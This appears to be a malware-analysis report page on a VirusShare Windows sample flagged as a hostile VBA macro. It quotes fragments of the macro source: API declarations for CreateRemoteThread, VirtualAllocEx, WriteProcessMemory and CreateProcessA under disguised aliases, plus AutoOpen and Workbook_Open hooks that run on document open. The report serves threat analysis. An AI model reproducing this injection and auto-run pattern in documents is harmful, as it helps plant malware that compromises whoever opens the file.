Hostile 100% windows Download

VirusShare_f513b9ff6642429cfa4270278dcf1d6a

VBA macro process injection

CreateRemoteThread API reference in scriptVB6 VirtualAllocEx allocation
SHA-256c2cb85c71948d835e96ee1464dc4d2e4da5d081cae002a34f52961eee3d70a8f

Evidence

CreateRemoteThread API reference in script lines 8–13
8:22… able = True
9
10Attribute VB_Name = "NewMacros"
11Sub x()
12#If VBA7 Then
13 Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParam …
VB6 VirtualAllocEx allocation lines 13–16
13:275… s Long) As LongPtr
14 Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
15 Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
16 Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVa …
VBA auto-open subroutine declaration lines 21–32
21:356… ssInformation As PROCESS_INFORMATION) As Long
22#End If
23End Sub
24Sub AutoOpen()
25 Auto_Open
26End Sub
27Sub Workbook_Open()
28 Auto_Open
29End Sub
30
31
32

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.